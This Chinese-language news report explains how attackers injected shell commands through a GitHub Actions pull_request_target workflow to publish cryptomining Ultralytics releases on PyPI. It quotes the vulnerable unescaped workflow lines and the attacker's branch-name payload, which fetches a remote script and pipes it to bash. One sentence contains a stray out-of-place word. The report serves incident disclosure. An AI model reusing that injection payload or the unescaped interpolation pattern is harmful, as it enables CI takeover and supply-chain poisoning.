GitHub Actions 处理程序中的错误导致恶意 Ultralytics 版本的发布

攻击者利用 GitHub Actions 处理程序权限,在 Ultralytics Python 库的代码仓库中执行了恶意代码。Ultralytics Python 库用于计算机视觉任务,例如目标检测和图像分割。攻击者在获取代码仓库访问权限后,将多个新的 Ultralytics 版本发布到 PyPI,其中包括用于加密货币挖矿的恶意修改版本。过去一个月,Ultralytics 库在 PyPI 上的下载量超过 6.4 万次。

为了攻破该代码库,攻击者利用了 ultralytics-actions 包中的一个漏洞。该包用于在使用 GitHub Actions 机制对 GitHub 代码库执行特定操作时自动运行处理程序。在 ultralytics 项目中,存在漏洞的处理程序绑定到 pull_request_target 事件,并在收到新的 pull 请求时被调用。具体来说,为了格式化传入的 pull 请求中的代码,攻击者调用了 format.yml 处理程序,并执行了 action.yml 文件“run”部分中指定的代码。该代码包含带有替换模式的 shell 命令:git pull origin ${{ github.head_ref || github.ref }} git config --global user.name "${{ inputs.github_username }}" git config --global user.email "${{ inputs.github_email }}"

因此,拉取请求中引用的 Git 分支名称被直接替换到 shell 命令中,而没有进行正确的转义。值得注意的是,ultralytics-actions 包在 8 月份已经修复了一个类似的漏洞,该漏洞与在 echo 函数中使用外部值有关:echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

为了在 GitHub Actions 处理程序的上下文中执行他们的代码,攻击者向 ultralytics 存储库发送了一个拉取请求,并指定了分支名称:openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

因此,当收到拉取请求时,攻击者指定的字符串“$(…)”被插入到代码中,随后处理程序执行时,导致代码“curl -sSfL raw.githubusercontent.com/…/file.sh | bash”的执行。

 GitHub Actions 处理程序中的错误导致恶意 Ultralytics 版本的发布

在 GitHub Actions 环境中运行代码可用于捕获仓库访问令牌和其他敏感数据。目前尚不清楚攻击者是如何创建发布版本并获得在 GitHub Actions 中执行代码的权限的。据信,他们通过修改 publish.yml 处理程序(攻击者移除了对有权向 PyPI 发布版本的帐户的验证)并利用 GitHub Actions 的构建缓存投毒技术将数据插入到发布版本中来实现这一目标。

攻击者于12月4日晚上11:51(莫斯科时间)在PyPI上发布了Ultralytics 8.3.41的第一个恶意版本,并于次日中午12:15将其移除。下午3:47,他们又发布了8.3.42版本,并于下午4:47将其移除。因此,这些恶意版本总共可供下载约13个小时(PyPI记录显示,Ultralytics库每天的下载量约为25万次)。8.3.41和8.3.42版本都包含从外部下载的代码。 伺服器 用于加密货币挖矿的 XMRig 组件。

项目开发者已修复该问题并发布了修正版本 8.3.43 和 8.3.44,但两天后,又发生了另一次攻击。今天凌晨 04:41 和 05:27(莫斯科时间),攻击者发布了两个新的恶意版本——8.3.45 和 8.3.46——其中包含不同的挖矿代码。在调查完成之前,建议用户暂缓安装新版本,并将依赖项设置为 8.3.44。

来源: opennet.ru

添加评论